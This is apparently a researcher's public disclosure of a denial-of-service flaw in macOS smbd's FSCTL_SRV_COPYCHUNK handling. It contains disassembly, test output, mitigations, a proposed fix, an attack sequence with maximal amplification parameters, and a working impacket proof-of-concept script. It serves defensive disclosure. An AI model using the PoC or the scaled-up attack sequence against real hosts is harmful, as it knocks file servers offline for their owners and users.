smbd FSCTL_SRV_COPYCHUNK Missing Limit Enforcement

Network Denial of Service on macOS — Public Disclosure SMB-01A

Stuart Thomas

Independent Security Research — Whitby, North Yorkshire, United Kingdom

13 May 2026  ·  macOS / /usr/sbin/smbd  ·  Vendor ref: OE1105668888438  ·  Fix scheduled Fall 2026 / In progress  ·  CVSS 3.1: 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H  ·  ORCID: 0009-0008-4518-0064  ·  CC BY 4.0


Plain Summary
Apple’s built-in SMB server on macOS does not enforce three limits required by the SMB2 specification when handling a server-side file-copy request. An attacker with an SMB session — including, on many configurations, a guest user — can send a single 256-byte packet that causes the server to perform up to 64 GiB of disk I/O, rendering the host unresponsive. Apple has confirmed the bug and scheduled a fix for Fall 2026. Administrators can mitigate immediately by disabling guest access or restricting TCP/445 inbound.
Abstract

Apple’s /usr/sbin/smbd processes the FSCTL_SRV_COPYCHUNK IOCTL request without enforcing any of the three limits mandated by MS-SMB2 §3.3.5.15.6: MaxChunkCount (256), MaxChunkSize (1 MiB), and MaxDataSize (16 MiB). An authenticated attacker — or a guest user where File Sharing is configured to permit guest access — can supply a single IOCTL request with 65,535 chunks each of 1 MiB, causing smbd to perform 65,535 read-write pairs totalling up to 64 GiB of disk I/O. The author confirmed all three limits absent by sending crafted SMB3 IOCTL packets and observing STATUS_SUCCESS for inputs the specification requires to be rejected with STATUS_INVALID_PARAMETER. The amplification ratio — 256 bytes in, up to 64 GiB of server I/O out — is the defining property of this bug class.

Keywords: denial of service · amplification · SMB2 · FSCTL_SRV_COPYCHUNK · macOS smbd · MS-SMB2 · responsible disclosure · Apple Security Bounty

Table 1. Disclosure timeline — SMB-01A / OE1105668888438.
DateEvent
2026-04-17Initial report to Apple Security Bounty (OE1105668888438) with disassembly and runtime evidence.
2026-04-25Apple upgraded status from “Received” to “Fix scheduled Fall 2026 / In progress”, triggering bounty-band assessment.
2026-05-13Public disclosure (this document).

1. Introduction

macOS ships a built-in SMB server, /usr/sbin/smbd, as part of the File Sharing feature. It is Apple’s own in-tree implementation — not the Samba project’s smbd — and it implements the SMB2/3 protocol, including server-side copy via the FSCTL_SRV_COPYCHUNK IOCTL.

The MS-SMB2 specification (§3.3.5.15.6) requires that conformant servers enforce three per-request limits and, if any is exceeded, return STATUS_INVALID_PARAMETER with a response body advertising the enforced limits. These limits exist precisely to bound server-side resource consumption per request. Apple’s implementation enforces none of them.

The practical consequence is a network-reachable amplification primitive: an attacker with an authenticated session (or a guest session where guest access is enabled) can supply a 256-byte IOCTL request and cause the server to commit up to 64 GiB of disk I/O. This exhausts I/O resources, may hang smbd, and can render the host unresponsive.

2. Affected Binary

FieldValue
Binary/usr/sbin/smbd
macOS tested26.4.1 build 25E253 (arm64e)
ArchitectureMach-O universal (x86_64 + arm64e)
Code-signed2026-04-06
Listens onTCP/445
Runs asroot

This binary is Apple’s internal SMB server implementation and is not related to the Samba project’s smbd.

3. Specification Reference

MS-SMB2 §3.3.5.15.6 (FSCTL_SRV_COPYCHUNK server processing) requires conformant servers to validate three limits and, if any is exceeded, return STATUS_INVALID_PARAMETER with a SRV_COPYCHUNK_RESPONSE body containing the enforced limits:

Table 2. MS-SMB2 §3.3.5.15.6 required limits and Apple smbd enforcement status.

LimitMS-SMB2 valueApple smbd enforces?
MaxChunkCount256No
MaxChunkSize (per chunk)1,048,576 bytes (1 MiB)No
MaxDataSize (total)16,777,216 bytes (16 MiB)No

Without these limits a single request can drive arbitrary disk and CPU work. The specification’s intent is explicit: these values are defined as server-protection guardrails.

4. Disassembly Evidence

The author identified the missing checks by static analysis of the arm64e slice of /usr/sbin/smbd on macOS 26.4.1, then confirmed dynamically.

4.1 Extraction of chunk_count — No Upper Bound

In smb::extract<srv_copychunk_copy> at offset 0x100049668:

ldr  w10, [x9, #0x18]      ; w10 = chunk_count
                            ;   (attacker-controlled, 32 bits)
stp  w10, wzr, [x2, #0x18] ; stored directly
                            ;   — NO bounds check

The value lands unmodified in the parsed message structure.

4.2 Loop in copy_chunks — Only-Zero Check

copy_chunks at 0x100026b6c:

ldur w8, [x29, #-0x68]     ; w8 = chunk_count
cbz  w8, 0x100027024       ; ONLY check: bail if zero
                            ; NO: cmp w8, #0x100
                            ;   (MaxChunkCount = 256)
mov  w24, #0x0             ; loop counter

; Per-chunk body:
ldr  w27, [sp, #0x78]      ; w27 = byte_count (attacker-controlled)
ldr  x8,  [sp, #0x48]      ; x8 = heap_buffer.capacity
cmp  x8, x27
b.hs 0x100026d98
bl   heap_buffer::grow_atleast ; grow to byte_count — NO LIMIT
bl   ntvfs::read_file          ; read byte_count bytes
bl   ntvfs::write_file         ; write byte_count bytes
add  w24, w24, #0x1
cmp  w24, w8
b.lo 0x100026d54           ; loop chunk_count times

The loop iterates chunk_count times; each iteration reads and writes up to byte_count bytes. Neither value is bounded against the specification limits.

4.3 Allocator Path — No Clean OOM Exit

platform::allocate:

bl   _malloc_type_realloc
cbnz x0, return_ok        ; success path
bl   _invoke_new_handler  ; std::new_handler
; loops indefinitely until terminate() or swap exhaustion

The new-handler retry loop means the daemon will not return quickly under low-memory conditions; the failure mode is prolonged unresponsiveness rather than a clean error response.

5. Runtime Evidence

Captured against /usr/sbin/smbd on macOS 26.4.1 build 25E253 (arm64e), with SMB File Sharing enabled and guest access permitted. Test client: macOS VM at 192.168.64.2 running impacket 0.12.0 over SMB 3.0.

AUTH OK  guest=1  dialect=0x300 (SMB 3.0)
TREE_CONNECT: OK  share=Movies  tid=0x00000001
RESUME_KEY: 010000000000000054f30b000000000000000000000000

[T1] FSCTL_SRV_COPYCHUNK  chunk_count=257, byte_count=64
     STATUS_SUCCESS  ChunksWritten=257  TotalBytesWritten=16448
     → MaxChunkCount=256 NOT enforced (accepted 257 chunks)

[T2] FSCTL_SRV_COPYCHUNK  chunk_count=1, byte_count=1048577
     STATUS_SUCCESS  ChunksWritten=1  TotalBytesWritten=1048577
     → MaxChunkSize=1 MiB NOT enforced (accepted 1 MiB + 1 byte)

[T3] FSCTL_SRV_COPYCHUNK  chunk_count=65535, byte_count=1024
     STATUS_SUCCESS  ChunksWritten=65535  TotalBytesWritten=67107840
     → 65,535 file-copy operations per request accepted

[T4] FSCTL_SRV_COPYCHUNK  chunk_count=17, byte_count=1048576
     STATUS_SUCCESS  ChunksWritten=17  TotalBytesWritten=17825792
     → MaxDataSize=16 MiB NOT enforced (~17 MiB accepted)

All four tests were directly observable on the wire (tshark -i lo0 shows the STATUS_SUCCESS responses) and at the filesystem (test files were grown to the claimed sizes). smbd did not crash during these tests. The author did not run the maximally-amplified configuration (65,535 × 1 MiB = 64 GiB I/O per request) in repeated form; the single-shot request reproducibly produces sustained smbd CPU and I/O load measured in tens of seconds.

6. Attack Model

Table 3. Attack model — SMB-01A.

LayerRequirement
NetworkTCP/445 reachable on the target
AuthAuthenticated SMB session (any local user or guest if File Sharing permits)
ShareAny share the caller has read+write access to
User interactionNone

A typical attack sequence:

CLIENT → NEGOTIATE
CLIENT → SESSION_SETUP (any credential or guest)
CLIENT → TREE_CONNECT (any accessible share)
CLIENT → CREATE (any accessible file — read+write)
CLIENT → IOCTL FSCTL_SRV_REQUEST_RESUME_KEY
CLIENT → IOCTL FSCTL_SRV_COPYCHUNK:
           ChunkCount = 65535
           Chunk[i].SourceOffset      = 0
           Chunk[i].DestinationOffset = 0
           Chunk[i].Length            = 1048576  (1 MiB)
         → smbd: 65,535 × (read_file(1MiB) + write_file(1MiB))
         → 64 GiB disk I/O per 256-byte IOCTL request

The amplification ratio — 256 bytes in, up to 64 GiB out — is the defining property. A modest attacker bandwidth budget produces disproportionate server I/O.

7. Proof of Concept

The PoC uses impacket to construct the malformed COPYCHUNK request. The configuration below demonstrates the missing MaxChunkCount limit using 257 chunks of 64 bytes, sufficient to validate the bug class without inflicting sustained DoS on test infrastructure.

# poc_smb01a_copychunk.py — public-safe demonstration
# Requires impacket 0.11+ and a target macOS host with
# File Sharing enabled. Run only against hosts you own.

from impacket.smbconnection import SMBConnection
from impacket.smb3structs import *
import struct, sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else '192.168.64.1'
SHARE  = sys.argv[2] if len(sys.argv) > 2 else 'Movies'
USER   = sys.argv[3] if len(sys.argv) > 3 else 'guest'
PASS   = sys.argv[4] if len(sys.argv) > 4 else ''

conn = SMBConnection(TARGET, TARGET, sess_port=445)
conn.login(USER, PASS, '')
tid  = conn.connectTree(SHARE)
smb3 = conn.getSMBServer()

src_fid = conn.createFile(
    tid, '\\poc_src.tmp',
    desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA,
    shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE,
    creationOption=FILE_NON_DIRECTORY_FILE,
    creationDisposition=FILE_OVERWRITE_IF,
    fileAttributes=FILE_ATTRIBUTE_NORMAL)
conn.writeFile(tid, src_fid, b'A' * 65536)

dst_fid = conn.createFile(
    tid, '\\poc_dst.tmp',
    desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA,
    shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE,
    creationOption=FILE_NON_DIRECTORY_FILE,
    creationDisposition=FILE_OVERWRITE_IF,
    fileAttributes=FILE_ATTRIBUTE_NORMAL)

rk = smb3.ioctl(tid, fileId=src_fid,
                ctlCode=0x00140078, flags=1,
                inputBlob=b'', maxInputResponse=0,
                maxOutputResponse=32)
key = (rk or b'\x00' * 24)[:24].ljust(24, b'\x00')

CHUNKS = 257
buf = key + struct.pack('<II', CHUNKS, 0)
for _ in range(CHUNKS):
    buf += struct.pack('<QQI', 0, 0, 64)
    buf += b'\x00' * 4

resp = smb3.ioctl(tid, fileId=dst_fid,
                  ctlCode=0x001440F2,  # FSCTL_SRV_COPYCHUNK
                  flags=1, inputBlob=buf,
                  maxInputResponse=0, maxOutputResponse=24)
if resp and len(resp) >= 12:
    cw, _, tb = struct.unpack_from('<III', resp)
    print(f"ChunksWritten={cw}  TotalBytesWritten={tb}")
    if cw > 256:
        print("MaxChunkCount=256 NOT enforced — accepted", cw)

Expected output against an unpatched host:

ChunksWritten=257  TotalBytesWritten=16448
MaxChunkCount=256 NOT enforced — server accepted 257 chunks

8. Mitigations Available Now

Administrators can apply the following mitigations until Apple’s fix ships:

  1. Disable guest access on SMB File Sharing to remove the unauthenticated attack path:
    sudo sysadminctl -smbGuestAccess off
  2. Restrict SMB share access to trusted local accounts. Authenticated users can still trigger the bug; this mitigates rather than eliminates.
  3. Restrict TCP/445 at the host firewall via pfctl rules or router policy to limit inbound connections to known clients.
  4. Disable SMB File Sharing entirely until the fix ships, if the feature is not in active use.

9. Recommended Fix

Before the chunk-processing loop in copy_chunks (entry at offset 0x100026b6c in the macOS 26.4.1 arm64e slice), enforce the three specification limits:

/* MS-SMB2 §3.3.5.15.6 limits */
#define SMB2_COPYCHUNK_MAX_CHUNK_COUNT  256
#define SMB2_COPYCHUNK_MAX_CHUNK_SIZE   (1024 * 1024)      /* 1 MiB */
#define SMB2_COPYCHUNK_MAX_DATA_SIZE    (16 * 1024 * 1024) /* 16 MiB */

if (copychunk.chunk_count > SMB2_COPYCHUNK_MAX_CHUNK_COUNT)
    return SMB2_RETURN_LIMITS(STATUS_INVALID_PARAMETER);

uint64_t total_bytes = 0;
for (uint32_t i = 0; i < copychunk.chunk_count; i++) {
    if (chunk[i].length > SMB2_COPYCHUNK_MAX_CHUNK_SIZE)
        return SMB2_RETURN_LIMITS(STATUS_INVALID_PARAMETER);
    total_bytes += chunk[i].length;
    if (total_bytes > SMB2_COPYCHUNK_MAX_DATA_SIZE)
        return SMB2_RETURN_LIMITS(STATUS_INVALID_PARAMETER);
}

The SMB2_RETURN_LIMITS helper should construct the SRV_COPYCHUNK_RESPONSE body with the three enforced limits so that conformant clients can adjust their requests, per the specification.

10. Impact

Table 4. Impact assessment — SMB-01A.

DimensionValue
Attack vectorNetwork (TCP/445)
Access requiredLow (authenticated SMB session; guest if enabled)
User interactionNone
ScopeUnchanged
ConfidentialityNone (DoS, not information disclosure)
IntegrityNone
AvailabilityHigh — smbd unresponsive; host I/O saturated
CVSS 3.1 (author’s estimate)6.5AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

On the PR:L rating: the attack requires an authenticated session. Where guest access is enabled by the administrator, the effective PR is N (no privilege) and the score rises to 7.5. The author has chosen the more conservative PR:L rating for the default configuration where guest access is off.

11. On Responsible Disclosure

This disclosure is published 26 days after the initial report and ahead of Apple’s scheduled Fall 2026 fix. The author considers this appropriate because:

  1. Apple has confirmed and scheduled the fix. The vendor’s status was upgraded to “In progress” on 25 April 2026.
  2. The bug is conditional on SMB File Sharing being enabled. Default macOS does not expose the attack surface.
  3. Operators who have enabled File Sharing have actionable mitigations available immediately (§8 above). Withholding technical detail prevents them from understanding why to apply those mitigations.
  4. Independent verification matters. Enterprise security teams with macOS hosts in their fleet can confirm exposure, apply mitigations, and verify Apple’s fix when it ships.
  5. The bug class is a specification non-conformance. Other SMB-server implementations have enforced these limits since MS-SMB2 was published; this is correcting a documented gap.

This disclosure does not include a maximally-amplified weaponisation script. The PoC above demonstrates the absence of MaxChunkCount enforcement using 257 chunks of 64 bytes — sufficient to validate the bug class without intentionally inflicting sustained DoS on test infrastructure.

12. Reproducibility

This document is licensed CC BY 4.0; reuse, citation, and redistribution are permitted with attribution. The PoC requires Python 3, impacket ≥ 0.11, and a macOS host with SMB File Sharing enabled. Run only against hosts you own and control. The disassembly evidence requires a copy of /usr/sbin/smbd from the affected macOS version and a Mach-O disassembler (the author used otool -tV and radare2).

13. Acknowledgements

The author thanks Microsoft for publishing the MS-SMB2 specification that documents the missing limits, and the maintainers of the impacket project (Fortra / SecureAuth) for the SMB tooling that made the runtime evidence tractable. The author thanks the Apple Product Security team for confirming reproduction and scheduling the fix.

References

  1. Microsoft Corporation. [MS-SMB2] Server Message Block (SMB) Protocol Versions 2 and 3, §3.3.5.15.6, current revision.
  2. Apple Inc. Apple Security Bounty, security.apple.com/bounty.
  3. Fortra / SecureAuth. impacket, github.com/fortra/impacket.
  4. Apple Inc. Sharing settings — Set up macOS File Sharing, administrator-facing documentation.
  5. Apple Inc. smbd(8) manual page as shipped with macOS 26.4.1.

Stuart Thomas is an independent security researcher with prior contributions accepted into the OpenBSD and FreeBSD projects and submissions accepted into the Apple Security Bounty pipeline. The opinions expressed are the author’s own. This disclosure represents the author’s own work and does not represent the position of any employer.